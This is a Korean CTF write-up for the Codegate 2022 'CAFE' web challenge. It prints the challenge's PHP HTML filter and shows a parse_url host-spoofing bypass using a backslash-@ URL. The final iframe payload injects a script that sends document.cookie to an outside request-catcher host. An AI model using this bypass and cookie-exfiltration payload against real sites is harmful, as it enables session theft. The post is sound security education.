[CTF write up] Codegate 2022 General - CAFE : PHP parse_url Spoofing to XSS

2022. 3. 2. 23:43CTF write up

문제 파일에 admin 계정 정보가 포함되어 있어서 그대로 로그인하면 플래그를 얻을 수 있는 띠용한 Unintened 풀이가 있었다고 한다.

 

평범한 XSS 문제다. XSS 취약점이 있는 게시판에 글을 쓸 수 있고 report를 통해 봇이 자바스크립트를 실행하도록 할 수 있다.

 

  function filterHtml($content) {
    $result = '';

    $html = new simple_html_dom();
    $html->load($content);
    $allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe'];

    foreach($allowTag as $tag){
      foreach($html->find($tag) as $element) {
        switch ($tag) {
          case 'a':
            $result .= '<a href="' . str_replace('"', '', $element->href) . '">' . htmlspecialchars($element->innertext) . '</a>';
            break;
          case 'img':
            $result .= '<img src="' . str_replace('"', '', $element->src) . '">' . '</img>';
            break;
          case 'p':
          case 'span':
          case 'b':
          case 'h1':
          case 'h2':
          case 'h3':
          case 'h4':
          case 'h5':
          case 'h6':
          case 'strong':
          case 'em':
          case 'code':
            $result .= '<' . $tag . '>' . htmlspecialchars($element->innertext) . '</' . $tag . '>';
            break;
          case 'iframe':
            $src = $element->src;
            $host = parse_url($src)['host'];
            if (strpos($host, 'youtube.com') !== false){
              $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
            }
            break;
        }
      }
    }
    return $result;
  }

 

문제는 다음과 같은 필터를 통해 XSS가 악용되는 것을 억제하고 있다. 딱봐도 iframe에서 문제가 발생할 것 같다. parse_url 관련 버그를 이용하면 쉽게 해당 필터를 우회할 수 있다. parse_url 버그를 여러가지 찾아본 결과 다음과 같이 @ 기호를 통해 host 반환 값을 임의로 조정할 수 있다.

<iframe src="https://sezjdsl.request.dreamhack.games\@youtube.com/">

[host] youtube.com

\ 대신 #을 써도 parse_url 위조가 가능하지만 알 수 없는 이유로 코드게이트 서버에서는 작동하지 않았다. 여기서 문제가 하나 생기는데 임의의 URL에 강제로 요청을 보내게 하는 것은 가능해도 자바스크립트를 실행시켜 쿠키를 탈취하지는 못한다. 이럴 경우 또다른 XSS 벡터를 이용하는 방법이 있는데 해당 페이지에 자바스크립트를 삽입한 결과 그대로 실행되길래 그 부분을 이용하였다.

<iframe src="http://3.39.55.38:1929\@youtube.com/../search?text=%3Cscript%3Elocation.href=%22https://ckvzfmc.request.dreamhack.games?cookie=%22.concat(document.cookie);%3C/script%3E
\@youtube.com/">

최종적으로 parse_url 우회를 이용해 취약한 XSS 벡터로 강제 요청을 시켜 쿠키를 탈취할 수 있다.